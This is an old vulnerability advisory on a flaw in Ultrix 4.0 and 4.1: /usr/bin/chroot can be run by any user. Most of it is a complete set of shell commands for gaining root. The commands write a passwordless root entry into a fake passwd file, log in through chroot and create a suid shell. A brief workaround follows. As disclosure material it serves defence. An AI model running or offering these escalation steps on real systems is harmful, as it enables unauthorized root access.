By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges.
$ mkdir /tmp/etc
$ echo root::0:0::/:/bin/sh > /tmp/etc/passwd
$ mkdir /tmp/bin
$ cp /bin/sh /tmp/bin/sh
$ cp /bin/chmod /tmp/bin/chmod
$ chroot /tmp /bin/login
Then login as root with no password. chmod /tmp/bin/sh
to 4700, exit and run the suid /tmp/bin/sh.
Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily work around the flaw by implementing the following workaround: Change the permission on the file '/usr/bin/chroot'